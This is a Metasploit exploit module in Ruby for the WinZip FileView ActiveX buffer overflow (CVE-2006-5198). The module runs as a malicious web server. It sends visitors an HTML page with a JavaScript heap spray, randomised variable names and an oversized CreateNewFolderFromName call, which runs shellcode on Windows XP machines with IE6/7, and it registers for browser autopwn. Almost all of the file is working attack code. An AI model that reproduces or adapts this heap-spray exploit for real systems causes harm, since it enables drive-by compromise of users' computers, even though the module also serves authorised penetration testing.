##
# $Id: winzip_fileview.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => 'CreateNewFolderFromName',
:classid => '{A09AE68F-B14D-43ED-B713-BA413F034904}',
:rank => NormalRanking # reliable memory corruption
})
def initialize(info = {})
super(update_info(info,
'Name' => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow',
'Description' => %q{
The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a
remote attacker to execute arbitrary code on the system. The control contains
several unsafe methods and is marked safe for scripting and safe for initialization.
A remote attacker could exploit this vulnerability to execute arbitrary code on the
victim system. WinZip 10.0 <= Build 6667 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE','2006-5198' ],
[ 'OSVDB', '30433' ],
[ 'BID','21060' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
],
'DisclosureDate' => 'Nov 2 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:A09AE68F-B14D-43ED-B713-BA413F034904'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "A";
for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + #{rand2} }
#{vname}.CreateNewFolderFromName(#{rand8});
</script>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
